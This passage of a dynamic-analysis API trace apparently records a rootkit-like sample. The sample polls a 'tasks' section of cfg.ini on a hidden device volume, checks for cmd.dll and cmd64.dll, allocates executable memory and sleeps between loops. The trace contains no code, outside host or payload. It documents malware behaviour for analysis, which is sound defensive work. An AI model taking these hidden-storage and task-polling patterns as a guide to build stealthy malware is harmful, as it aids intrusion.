KeLeaveCriticalRegion () [0120.924] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.924] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.924] KeEnterCriticalRegion () [0120.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.924] KeLeaveCriticalRegion () [0120.924] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.924] KeEnterCriticalRegion () [0120.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.924] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.924] IdePortDispatch () returned 0x103 [0120.924] KeWaitForMutexObject () returned 0x0 [0120.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.925] KeLeaveCriticalRegion () [0120.925] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.925] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.925] KeEnterCriticalRegion () [0120.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003525000 [0120.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.925] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.925] IdePortDispatch () returned 0x103 [0120.925] KeWaitForMutexObject () returned 0x0 [0120.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.925] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.925] IdePortDispatch () returned 0x103 [0120.925] KeWaitForMutexObject () returned 0x0 [0120.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.925] KeLeaveCriticalRegion () [0120.925] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.926] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.926] KeEnterCriticalRegion () [0120.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] KeLeaveCriticalRegion () [0120.926] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.926] KeEnterCriticalRegion () [0120.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.926] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] KeLeaveCriticalRegion () [0120.926] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.926] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.926] KeEnterCriticalRegion () [0120.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0120.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.926] KeLeaveCriticalRegion () [0120.926] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.926] ReleaseMutex (hMutex=0xf0) returned 1 [0120.926] Sleep (dwMilliseconds=0x927c0) [0120.940] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.940] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.940] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.940] KeEnterCriticalRegion () [0120.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.940] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.940] IdePortDispatch () returned 0x103 [0120.940] KeWaitForMutexObject () returned 0x0 [0120.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.940] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.940] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.941] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.941] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f320 [0120.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] KeLeaveCriticalRegion () [0120.941] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.941] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.941] KeEnterCriticalRegion () [0120.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] KeLeaveCriticalRegion () [0120.941] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.941] KeEnterCriticalRegion () [0120.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.941] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.941] IdePortDispatch () returned 0x103 [0120.941] KeWaitForMutexObject () returned 0x0 [0120.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] KeLeaveCriticalRegion () [0120.941] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.941] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.941] KeEnterCriticalRegion () [0120.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.941] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352a000 [0120.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.941] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.941] IdePortDispatch () returned 0x103 [0120.941] KeWaitForMutexObject () returned 0x0 [0120.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.942] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.942] IdePortDispatch () returned 0x103 [0120.942] KeWaitForMutexObject () returned 0x0 [0120.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.942] KeLeaveCriticalRegion () [0120.942] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.942] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.942] KeEnterCriticalRegion () [0120.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.942] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.942] KeLeaveCriticalRegion () [0120.943] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.943] KeEnterCriticalRegion () [0120.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.943] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b9f3e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.943] KeLeaveCriticalRegion () [0120.943] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.943] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.943] KeEnterCriticalRegion () [0120.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.943] ExFreePoolWithTag (P=0xfffffa8003b9f320, Tag=0x0) [0120.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.943] KeLeaveCriticalRegion () [0120.943] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.943] ReleaseMutex (hMutex=0xf0) returned 1 [0120.943] Sleep (dwMilliseconds=0x927c0) [0120.956] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.956] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.957] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.957] KeEnterCriticalRegion () [0120.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.957] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.957] IdePortDispatch () returned 0x103 [0120.957] KeWaitForMutexObject () returned 0x0 [0120.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.957] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.957] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.957] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.957] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.957] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0120.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.957] KeLeaveCriticalRegion () [0120.957] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.957] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.957] KeEnterCriticalRegion () [0120.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.957] KeLeaveCriticalRegion () [0120.957] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.957] KeEnterCriticalRegion () [0120.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.957] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.957] IdePortDispatch () returned 0x103 [0120.957] KeWaitForMutexObject () returned 0x0 [0120.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.958] KeLeaveCriticalRegion () [0120.958] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.958] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.958] KeEnterCriticalRegion () [0120.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352f000 [0120.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.958] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.958] IdePortDispatch () returned 0x103 [0120.958] KeWaitForMutexObject () returned 0x0 [0120.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.958] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.958] IdePortDispatch () returned 0x103 [0120.958] KeWaitForMutexObject () returned 0x0 [0120.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.959] KeLeaveCriticalRegion () [0120.959] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.959] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.959] KeEnterCriticalRegion () [0120.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.959] KeLeaveCriticalRegion () [0120.959] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.959] KeEnterCriticalRegion () [0120.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.959] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.959] KeLeaveCriticalRegion () [0120.959] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.960] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.960] KeEnterCriticalRegion () [0120.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.960] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0120.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.960] KeLeaveCriticalRegion () [0120.960] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.960] ReleaseMutex (hMutex=0xf0) returned 1 [0120.960] Sleep (dwMilliseconds=0x927c0) [0120.973] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.973] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.974] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.974] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.974] KeEnterCriticalRegion () [0120.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.974] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.974] IdePortDispatch () returned 0x103 [0120.974] KeWaitForMutexObject () returned 0x0 [0120.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.974] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.974] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.974] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.974] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.974] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f550 [0120.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.974] KeLeaveCriticalRegion () [0120.974] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.974] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.974] KeEnterCriticalRegion () [0120.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.974] KeLeaveCriticalRegion () [0120.974] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.974] KeEnterCriticalRegion () [0120.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.974] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.974] IdePortDispatch () returned 0x103 [0120.974] KeWaitForMutexObject () returned 0x0 [0120.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.975] KeLeaveCriticalRegion () [0120.975] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.975] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.975] KeEnterCriticalRegion () [0120.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.975] MmMapLockedPagesSpecifyCache 